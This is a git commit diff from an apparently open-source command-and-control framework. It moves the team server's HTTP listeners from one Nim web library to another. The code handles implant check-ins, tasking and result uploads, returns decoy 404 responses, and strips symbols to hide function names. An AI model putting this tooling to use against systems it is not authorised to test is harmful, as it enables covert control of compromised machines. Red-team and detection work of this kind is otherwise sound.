Replaced prologue implementation with mummy for listener management, since it seems more suitable for future use (websockets, etc.).
This commit is contained in:
@@ -25,8 +25,8 @@ requires "argparse >= 4.0.2"
|
|||||||
requires "parsetoml >= 0.7.2"
|
requires "parsetoml >= 0.7.2"
|
||||||
requires "nimcrypto >= 0.6.4"
|
requires "nimcrypto >= 0.6.4"
|
||||||
requires "tiny_sqlite >= 0.2.0"
|
requires "tiny_sqlite >= 0.2.0"
|
||||||
requires "prologue >= 0.6.6"
|
|
||||||
requires "winim >= 3.9.4"
|
requires "winim >= 3.9.4"
|
||||||
requires "ptr_math >= 0.3.0"
|
requires "ptr_math >= 0.3.0"
|
||||||
requires "imguin >= 1.92.2.1"
|
requires "imguin >= 1.92.2.1"
|
||||||
requires "zippy >= 0.10.16"
|
requires "zippy >= 0.10.16"
|
||||||
|
requires "mummy >= 0.4.6"
|
||||||
@@ -3,6 +3,6 @@
|
|||||||
-d:release
|
-d:release
|
||||||
--opt:size
|
--opt:size
|
||||||
--passL:"-s" # Strip symbols, such as sensitive function names
|
--passL:"-s" # Strip symbols, such as sensitive function names
|
||||||
-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER"
|
-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER"
|
||||||
-d:MODULES=1
|
-d:MODULES=1
|
||||||
-o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe"
|
-o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe"
|
||||||
@@ -1,24 +1,24 @@
|
|||||||
[Window][Sessions [Table View]]
|
[Window][Sessions [Table View]]
|
||||||
Pos=10,43
|
Pos=10,43
|
||||||
Size=1533,389
|
Size=1533,946
|
||||||
Collapsed=0
|
Collapsed=0
|
||||||
DockId=0x00000003,0
|
DockId=0x00000003,0
|
||||||
|
|
||||||
[Window][Listeners]
|
[Window][Listeners]
|
||||||
Pos=10,43
|
Pos=10,43
|
||||||
Size=1533,389
|
Size=1533,946
|
||||||
Collapsed=0
|
Collapsed=0
|
||||||
DockId=0x00000003,1
|
DockId=0x00000003,1
|
||||||
|
|
||||||
[Window][Eventlog]
|
[Window][Eventlog]
|
||||||
Pos=1545,43
|
Pos=1545,43
|
||||||
Size=353,389
|
Size=353,946
|
||||||
Collapsed=0
|
Collapsed=0
|
||||||
DockId=0x00000004,0
|
DockId=0x00000004,0
|
||||||
|
|
||||||
[Window][Dear ImGui Demo]
|
[Window][Dear ImGui Demo]
|
||||||
Pos=1545,43
|
Pos=1545,43
|
||||||
Size=353,389
|
Size=353,946
|
||||||
Collapsed=0
|
Collapsed=0
|
||||||
DockId=0x00000004,1
|
DockId=0x00000004,1
|
||||||
|
|
||||||
@@ -139,6 +139,6 @@ DockNode ID=0x00000009 Pos=100,200 Size=754,103 Selected=0x64D005CF
|
|||||||
DockSpace ID=0x85940918 Window=0x260A4489 Pos=10,43 Size=1888,946 Split=Y
|
DockSpace ID=0x85940918 Window=0x260A4489 Pos=10,43 Size=1888,946 Split=Y
|
||||||
DockNode ID=0x00000005 Parent=0x85940918 SizeRef=1888,389 Split=X
|
DockNode ID=0x00000005 Parent=0x85940918 SizeRef=1888,389 Split=X
|
||||||
DockNode ID=0x00000003 Parent=0x00000005 SizeRef=1533,159 CentralNode=1 Selected=0x61E02D75
|
DockNode ID=0x00000003 Parent=0x00000005 SizeRef=1533,159 CentralNode=1 Selected=0x61E02D75
|
||||||
DockNode ID=0x00000004 Parent=0x00000005 SizeRef=353,159 Selected=0x0FA43D88
|
DockNode ID=0x00000004 Parent=0x00000005 SizeRef=353,159 Selected=0x5E5F7166
|
||||||
DockNode ID=0x00000006 Parent=0x85940918 SizeRef=1888,555 Selected=0x65D642C0
|
DockNode ID=0x00000006 Parent=0x85940918 SizeRef=1888,555 Selected=0x65D642C0
|
||||||
|
|
||||||
|
|||||||
@@ -2,6 +2,7 @@ import prompt
|
|||||||
import tables
|
import tables
|
||||||
import times
|
import times
|
||||||
import parsetoml
|
import parsetoml
|
||||||
|
import mummy
|
||||||
|
|
||||||
# Custom Binary Task structure
|
# Custom Binary Task structure
|
||||||
const
|
const
|
||||||
@@ -196,6 +197,7 @@ type
|
|||||||
HTTP = "http"
|
HTTP = "http"
|
||||||
|
|
||||||
Listener* = ref object of RootObj
|
Listener* = ref object of RootObj
|
||||||
|
server*: Server
|
||||||
listenerId*: string
|
listenerId*: string
|
||||||
address*: string
|
address*: string
|
||||||
port*: int
|
port*: int
|
||||||
@@ -212,7 +214,7 @@ type
|
|||||||
Conquest* = ref object
|
Conquest* = ref object
|
||||||
prompt*: Prompt
|
prompt*: Prompt
|
||||||
dbPath*: string
|
dbPath*: string
|
||||||
listeners*: Table[string, Listener]
|
listeners*: Table[string, tuple[listener: Listener, thread: Thread[Listener]]]
|
||||||
agents*: Table[string, Agent]
|
agents*: Table[string, Agent]
|
||||||
interactAgent*: Agent
|
interactAgent*: Agent
|
||||||
keyPair*: KeyPair
|
keyPair*: KeyPair
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
import prologue, terminal, strformat, parsetoml, tables
|
import mummy, terminal, strformat, parsetoml, tables
|
||||||
import strutils, base64
|
import strutils, base64
|
||||||
|
|
||||||
import ./handlers
|
import ./handlers
|
||||||
@@ -6,15 +6,32 @@ import ../globals
|
|||||||
import ../core/logger
|
import ../core/logger
|
||||||
import ../../common/[types, utils, serialize, profile]
|
import ../../common/[types, utils, serialize, profile]
|
||||||
|
|
||||||
proc error404*(ctx: Context) {.async.} =
|
# Not Found
|
||||||
resp "", Http404
|
proc error404*(request: Request) =
|
||||||
|
request.respond(404, body = "")
|
||||||
|
|
||||||
|
# Method not allowed
|
||||||
|
proc error405*(request: Request) =
|
||||||
|
request.respond(404, body = "")
|
||||||
|
|
||||||
|
# Utils
|
||||||
|
proc hasKey(headers: seq[(string, string)], headerName: string): bool =
|
||||||
|
for (name, value) in headers:
|
||||||
|
if name.toLower() == headerName.toLower():
|
||||||
|
return true
|
||||||
|
return false
|
||||||
|
|
||||||
|
proc get(headers: seq[(string, string)], headerName: string): string =
|
||||||
|
for (name, value) in headers:
|
||||||
|
if name.toLower() == headerName.toLower():
|
||||||
|
return value
|
||||||
|
return ""
|
||||||
|
|
||||||
#[
|
#[
|
||||||
GET
|
GET
|
||||||
Called from agent to check for new tasks
|
Called from agent to check for new tasks
|
||||||
]#
|
]#
|
||||||
proc httpGet*(ctx: Context) {.async.} =
|
proc httpGet*(request: Request) =
|
||||||
|
|
||||||
{.cast(gcsafe).}:
|
{.cast(gcsafe).}:
|
||||||
|
|
||||||
# Check heartbeat metadata placement
|
# Check heartbeat metadata placement
|
||||||
@@ -24,17 +41,16 @@ proc httpGet*(ctx: Context) {.async.} =
|
|||||||
case cq.profile.getString("http-get.agent.heartbeat.placement.type"):
|
case cq.profile.getString("http-get.agent.heartbeat.placement.type"):
|
||||||
of "header":
|
of "header":
|
||||||
let heartbeatHeader = cq.profile.getString("http-get.agent.heartbeat.placement.name")
|
let heartbeatHeader = cq.profile.getString("http-get.agent.heartbeat.placement.name")
|
||||||
if not ctx.request.hasHeader(heartbeatHeader):
|
if not request.headers.hasKey(heartbeatHeader):
|
||||||
resp "", Http404
|
request.respond(404, body = "")
|
||||||
return
|
return
|
||||||
|
heartbeatString = request.headers.get(heartbeatHeader)
|
||||||
heartbeatString = ctx.request.getHeader(heartbeatHeader)[0]
|
|
||||||
|
|
||||||
of "parameter":
|
of "parameter":
|
||||||
let param = cq.profile.getString("http-get.agent.heartbeat.placement.name")
|
let param = cq.profile.getString("http-get.agent.heartbeat.placement.name")
|
||||||
heartbeatString = ctx.getQueryParams(param)
|
heartbeatString = request.queryParams.get(param)
|
||||||
if heartbeatString.len <= 0:
|
if heartbeatString.len <= 0:
|
||||||
resp "", Http404
|
request.respond(404, body = "")
|
||||||
return
|
return
|
||||||
|
|
||||||
of "uri":
|
of "uri":
|
||||||
@@ -60,7 +76,7 @@ proc httpGet*(ctx: Context) {.async.} =
|
|||||||
let tasks: seq[seq[byte]] = getTasks(heartbeat)
|
let tasks: seq[seq[byte]] = getTasks(heartbeat)
|
||||||
|
|
||||||
if tasks.len <= 0:
|
if tasks.len <= 0:
|
||||||
resp "", Http200
|
request.respond(200, body = "")
|
||||||
return
|
return
|
||||||
|
|
||||||
# Create response, containing number of tasks, as well as length and content of each task
|
# Create response, containing number of tasks, as well as length and content of each task
|
||||||
@@ -73,7 +89,6 @@ proc httpGet*(ctx: Context) {.async.} =
|
|||||||
|
|
||||||
# Apply data transformation to the response
|
# Apply data transformation to the response
|
||||||
var response: string
|
var response: string
|
||||||
|
|
||||||
case cq.profile.getString("http-get.server.output.encoding.type", default = "none"):
|
case cq.profile.getString("http-get.server.output.encoding.type", default = "none"):
|
||||||
of "none":
|
of "none":
|
||||||
response = Bytes.toString(responseBytes)
|
response = Bytes.toString(responseBytes)
|
||||||
@@ -85,52 +100,52 @@ proc httpGet*(ctx: Context) {.async.} =
|
|||||||
let suffix = cq.profile.getString("http-get.server.output.suffix")
|
let suffix = cq.profile.getString("http-get.server.output.suffix")
|
||||||
|
|
||||||
# Add headers, as defined in the team server profile
|
# Add headers, as defined in the team server profile
|
||||||
|
var headers: HttpHeaders
|
||||||
for header, value in cq.profile.getTable("http-get.server.headers"):
|
for header, value in cq.profile.getTable("http-get.server.headers"):
|
||||||
ctx.response.setHeader(header, value.getStringValue())
|
headers.add((header, value.getStringValue()))
|
||||||
|
|
||||||
await ctx.respond(Http200, prefix & response & suffix, ctx.response.headers)
|
request.respond(200, headers = headers, body = prefix & response & suffix)
|
||||||
ctx.handled = true # Ensure that HTTP response is sent only once
|
|
||||||
|
|
||||||
# Notify operator that agent collected tasks
|
# Notify operator that agent collected tasks
|
||||||
cq.info(fmt"{$response.len} bytes sent.")
|
cq.info(fmt"{$response.len} bytes sent.")
|
||||||
|
|
||||||
except CatchableError:
|
except CatchableError:
|
||||||
resp "", Http404
|
request.respond(404, body = "")
|
||||||
|
|
||||||
#[
|
#[
|
||||||
POST
|
POST
|
||||||
Called from agent to register itself or post results of a task
|
Called from agent to register itself or post results of a task
|
||||||
]#
|
]#
|
||||||
proc httpPost*(ctx: Context) {.async.} =
|
proc httpPost*(request: Request) =
|
||||||
|
|
||||||
{.cast(gcsafe).}:
|
{.cast(gcsafe).}:
|
||||||
|
|
||||||
# Check headers
|
# Check headers
|
||||||
# If POST data is not binary data, return 404 error code
|
# If POST data is not binary data, return 404 error code
|
||||||
if ctx.request.contentType != "application/octet-stream":
|
if request.headers.get("Content-Type") != "application/octet-stream":
|
||||||
resp "", Http404
|
request.respond(404, body = "")
|
||||||
return
|
return
|
||||||
|
|
||||||
try:
|
try:
|
||||||
# Differentiate between registration and task result packet
|
# Differentiate between registration and task result packet
|
||||||
var unpacker = Unpacker.init(ctx.request.body)
|
var unpacker = Unpacker.init(request.body)
|
||||||
let header = unpacker.deserializeHeader()
|
let header = unpacker.deserializeHeader()
|
||||||
|
|
||||||
# Add response headers, as defined in team server profile
|
# Add response headers, as defined in team server profile
|
||||||
|
var headers: HttpHeaders
|
||||||
for header, value in cq.profile.getTable("http-post.server.headers"):
|
for header, value in cq.profile.getTable("http-post.server.headers"):
|
||||||
ctx.response.setHeader(header, value.getStringValue())
|
headers.add((header, value.getStringValue()))
|
||||||
|
|
||||||
if cast[PacketType](header.packetType) == MSG_REGISTER:
|
if cast[PacketType](header.packetType) == MSG_REGISTER:
|
||||||
if not register(string.toBytes(ctx.request.body)):
|
if not register(string.toBytes(request.body)):
|
||||||
resp "", Http400
|
request.respond(400, body = "")
|
||||||
return
|
return
|
||||||
|
|
||||||
elif cast[PacketType](header.packetType) == MSG_RESULT:
|
elif cast[PacketType](header.packetType) == MSG_RESULT:
|
||||||
handleResult(string.toBytes(ctx.request.body))
|
handleResult(string.toBytes(request.body))
|
||||||
|
|
||||||
resp "", Http200
|
request.respond(200, body = "")
|
||||||
|
|
||||||
except CatchableError:
|
except CatchableError:
|
||||||
resp "", Http404
|
request.respond(404, body = "")
|
||||||
|
|
||||||
return
|
return
|
||||||
@@ -141,7 +141,7 @@ proc agentBuild*(cq: Conquest, listener, sleepDelay: string, sleepTechnique: str
|
|||||||
cq.error(fmt"Listener {listener.toUpperAscii} does not exist.")
|
cq.error(fmt"Listener {listener.toUpperAscii} does not exist.")
|
||||||
return false
|
return false
|
||||||
|
|
||||||
let listener = cq.listeners[listener.toUpperAscii]
|
let listener = cq.listeners[listener.toUpperAscii].listener
|
||||||
|
|
||||||
var config: seq[byte]
|
var config: seq[byte]
|
||||||
if sleepDelay.isEmptyOrWhitespace():
|
if sleepDelay.isEmptyOrWhitespace():
|
||||||
|
|||||||
@@ -1,19 +1,14 @@
|
|||||||
import strformat, strutils, terminal
|
import strformat, strutils, terminal
|
||||||
import prologue, parsetoml
|
import mummy, mummy/routers
|
||||||
|
import parsetoml
|
||||||
|
|
||||||
|
import ../globals
|
||||||
import ../utils
|
import ../utils
|
||||||
import ../api/routes
|
import ../api/routes
|
||||||
import ../db/database
|
import ../db/database
|
||||||
import ../core/logger
|
import ../core/logger
|
||||||
import ../../common/[types, utils, profile]
|
import ../../common/[types, utils, profile]
|
||||||
|
|
||||||
# Utility functions
|
|
||||||
proc delListener(cq: Conquest, listenerName: string) =
|
|
||||||
cq.listeners.del(listenerName)
|
|
||||||
|
|
||||||
proc add(cq: Conquest, listener: Listener) =
|
|
||||||
cq.listeners[listener.listenerId] = listener
|
|
||||||
|
|
||||||
#[
|
#[
|
||||||
Listener management
|
Listener management
|
||||||
]#
|
]#
|
||||||
@@ -36,6 +31,12 @@ proc listenerList*(cq: Conquest) =
|
|||||||
let listeners = cq.dbGetAllListeners()
|
let listeners = cq.dbGetAllListeners()
|
||||||
cq.drawTable(listeners)
|
cq.drawTable(listeners)
|
||||||
|
|
||||||
|
proc serve(listener: Listener) {.thread.} =
|
||||||
|
try:
|
||||||
|
listener.server.serve(Port(listener.port), listener.address)
|
||||||
|
except Exception:
|
||||||
|
discard
|
||||||
|
|
||||||
proc listenerStart*(cq: Conquest, host: string, portStr: string) =
|
proc listenerStart*(cq: Conquest, host: string, portStr: string) =
|
||||||
|
|
||||||
# Validate arguments
|
# Validate arguments
|
||||||
@@ -46,94 +47,94 @@ proc listenerStart*(cq: Conquest, host: string, portStr: string) =
|
|||||||
let port = portStr.parseInt
|
let port = portStr.parseInt
|
||||||
|
|
||||||
# Create new listener
|
# Create new listener
|
||||||
let
|
let name: string = generateUUID()
|
||||||
name: string = generateUUID()
|
var router: Router
|
||||||
listenerSettings = newSettings(
|
router.notFoundHandler = routes.error404
|
||||||
appName = name,
|
router.methodNotAllowedHandler = routes.error405
|
||||||
debug = false,
|
|
||||||
address = "", # For some reason, the program crashes when the ip parameter is passed to the newSettings function
|
|
||||||
port = Port(port) # As a result, I will hardcode the listener to be served on all interfaces (0.0.0.0) by default
|
|
||||||
) # TODO: fix this issue and start the listener on the address passed as the HOST parameter
|
|
||||||
|
|
||||||
var listener = newApp(settings = listenerSettings)
|
|
||||||
|
|
||||||
# Define API endpoints based on C2 profile
|
# Define API endpoints based on C2 profile
|
||||||
# GET requests
|
# GET requests
|
||||||
for endpoint in cq.profile.getArray("http-get.endpoints"):
|
for endpoint in cq.profile.getArray("http-get.endpoints"):
|
||||||
listener.addRoute(endpoint.getStringValue(), routes.httpGet)
|
router.addRoute("GET", endpoint.getStringValue(), routes.httpGet)
|
||||||
|
|
||||||
# POST requests
|
# POST requests
|
||||||
var postMethods: seq[HttpMethod]
|
var postMethods: seq[string]
|
||||||
for reqMethod in cq.profile.getArray("http-post.request-methods"):
|
for reqMethod in cq.profile.getArray("http-post.request-methods"):
|
||||||
postMethods.add(parseEnum[HttpMethod](reqMethod.getStringValue()))
|
postMethods.add(reqMethod.getStringValue())
|
||||||
|
|
||||||
# Default method is POST
|
# Default method is POST
|
||||||
if postMethods.len == 0:
|
if postMethods.len == 0:
|
||||||
postMethods = @[HttpPost]
|
postMethods = @["POST"]
|
||||||
|
|
||||||
for endpoint in cq.profile.getArray("http-post.endpoints"):
|
for endpoint in cq.profile.getArray("http-post.endpoints"):
|
||||||
listener.addRoute(endpoint.getStringValue(), routes.httpPost, postMethods)
|
for httpMethod in postMethods:
|
||||||
|
router.addRoute(httpMethod, endpoint.getStringValue(), routes.httpPost)
|
||||||
|
|
||||||
listener.registerErrorHandler(Http404, routes.error404)
|
let server = newServer(router.toHandler())
|
||||||
|
|
||||||
# Store listener in database
|
# Store listener in database
|
||||||
var listenerInstance = Listener(
|
var listener = Listener(
|
||||||
|
server: server,
|
||||||
listenerId: name,
|
listenerId: name,
|
||||||
address: host,
|
address: host,
|
||||||
port: port,
|
port: port,
|
||||||
protocol: HTTP
|
protocol: HTTP
|
||||||
)
|
)
|
||||||
if not cq.dbStoreListener(listenerInstance):
|
|
||||||
raise newException(CatchableError, "Failed to store listener in database.")
|
|
||||||
|
|
||||||
# Start serving
|
# Start serving
|
||||||
discard listener.runAsync()
|
var thread: Thread[Listener]
|
||||||
cq.add(listenerInstance)
|
createThread(thread, serve, listener)
|
||||||
|
server.waitUntilReady()
|
||||||
|
|
||||||
|
cq.listeners[name] = (listener, thread)
|
||||||
|
if not cq.dbStoreListener(listener):
|
||||||
|
raise newException(CatchableError, "Failed to store listener in database.")
|
||||||
|
|
||||||
cq.success("Started listener", fgGreen, fmt" {name} ", resetStyle, fmt"on {host}:{portStr}.")
|
cq.success("Started listener", fgGreen, fmt" {name} ", resetStyle, fmt"on {host}:{portStr}.")
|
||||||
|
|
||||||
except CatchableError as err:
|
except CatchableError as err:
|
||||||
cq.error("Failed to start listener: ", err.msg)
|
cq.error("Failed to start listener: ", err.msg)
|
||||||
|
|
||||||
proc restartListeners*(cq: Conquest) =
|
proc restartListeners*(cq: Conquest) =
|
||||||
let listeners: seq[Listener] = cq.dbGetAllListeners()
|
var listeners: seq[Listener] = cq.dbGetAllListeners()
|
||||||
|
|
||||||
# Restart all active listeners that are stored in the database
|
# Restart all active listeners that are stored in the database
|
||||||
for l in listeners:
|
for listener in listeners:
|
||||||
try:
|
try:
|
||||||
let
|
# Create new listener
|
||||||
settings = newSettings(
|
let name: string = generateUUID()
|
||||||
appName = l.listenerId,
|
var router: Router
|
||||||
debug = false,
|
router.notFoundHandler = routes.error404
|
||||||
address = "",
|
router.methodNotAllowedHandler = routes.error405
|
||||||
port = Port(l.port)
|
|
||||||
)
|
|
||||||
listener = newApp(settings = settings)
|
|
||||||
|
|
||||||
# Define API endpoints based on C2 profile
|
# Define API endpoints based on C2 profile
|
||||||
# GET requests
|
# GET requests
|
||||||
for endpoint in cq.profile.getArray("http-get.endpoints"):
|
for endpoint in cq.profile.getArray("http-get.endpoints"):
|
||||||
listener.get(endpoint.getStringValue(), routes.httpGet)
|
router.addRoute("GET", endpoint.getStringValue(), routes.httpGet)
|
||||||
|
|
||||||
# POST requests
|
# POST requests
|
||||||
var postMethods: seq[HttpMethod]
|
var postMethods: seq[string]
|
||||||
for reqMethod in cq.profile.getArray("http-post.request-methods"):
|
for reqMethod in cq.profile.getArray("http-post.request-methods"):
|
||||||
postMethods.add(parseEnum[HttpMethod](reqMethod.getStringValue()))
|
postMethods.add(reqMethod.getStringValue())
|
||||||
|
|
||||||
# Default method is POST
|
# Default method is POST
|
||||||
if postMethods.len == 0:
|
if postMethods.len == 0:
|
||||||
postMethods = @[HttpPost]
|
postMethods = @["POST"]
|
||||||
|
|
||||||
for endpoint in cq.profile.getArray("http-post.endpoints"):
|
for endpoint in cq.profile.getArray("http-post.endpoints"):
|
||||||
listener.addRoute(endpoint.getStringValue(), routes.httpPost, postMethods)
|
for httpMethod in postMethods:
|
||||||
|
router.addRoute(httpMethod, endpoint.getStringValue(), routes.httpPost)
|
||||||
|
|
||||||
listener.registerErrorHandler(Http404, routes.error404)
|
let server = newServer(router.toHandler())
|
||||||
|
listener.server = server
|
||||||
|
|
||||||
discard listener.runAsync()
|
# Start serving
|
||||||
cq.add(l)
|
var thread: Thread[Listener]
|
||||||
cq.success("Restarted listener", fgGreen, fmt" {l.listenerId} ", resetStyle, fmt"on {l.address}:{$l.port}.")
|
createThread(thread, serve, listener)
|
||||||
|
server.waitUntilReady()
|
||||||
|
|
||||||
# Delay before serving another listener to avoid crashing the application
|
cq.listeners[listener.listenerId] = (listener, thread)
|
||||||
waitFor sleepAsync(100)
|
cq.success("Restarted listener", fgGreen, fmt" {listener.listenerId} ", resetStyle, fmt"on {listener.address}:{$listener.port}.")
|
||||||
|
|
||||||
except CatchableError as err:
|
except CatchableError as err:
|
||||||
cq.error("Failed to restart listener: ", err.msg)
|
cq.error("Failed to restart listener: ", err.msg)
|
||||||
@@ -154,6 +155,14 @@ proc listenerStop*(cq: Conquest, name: string) =
|
|||||||
cq.error("Failed to stop listener: ", getCurrentExceptionMsg())
|
cq.error("Failed to stop listener: ", getCurrentExceptionMsg())
|
||||||
return
|
return
|
||||||
|
|
||||||
cq.delListener(name)
|
cq.listeners.del(name)
|
||||||
cq.success("Stopped listener ", fgGreen, name.toUpperAscii, resetStyle, ".")
|
cq.success("Stopped listener ", fgGreen, name.toUpperAscii, resetStyle, ".")
|
||||||
|
|
||||||
|
# TODO: Make listener stoppable
|
||||||
|
# try:
|
||||||
|
# cq.listeners[name].listener .server.close()
|
||||||
|
# joinThread(cq.listeners[name].thread)
|
||||||
|
# except:
|
||||||
|
# cq.error("Failed to stop listener.")
|
||||||
|
|
||||||
|
|
||||||
@@ -129,7 +129,7 @@ proc header() =
|
|||||||
proc init*(T: type Conquest, profile: Profile): Conquest =
|
proc init*(T: type Conquest, profile: Profile): Conquest =
|
||||||
var cq = new Conquest
|
var cq = new Conquest
|
||||||
cq.prompt = Prompt.init()
|
cq.prompt = Prompt.init()
|
||||||
cq.listeners = initTable[string, Listener]()
|
cq.listeners = initTable[string, tuple[listener: Listener, thread: Thread[Listener]]]()
|
||||||
cq.agents = initTable[string, Agent]()
|
cq.agents = initTable[string, Agent]()
|
||||||
cq.interactAgent = nil
|
cq.interactAgent = nil
|
||||||
cq.profile = profile
|
cq.profile = profile
|
||||||
|
|||||||
Reference in New Issue
Block a user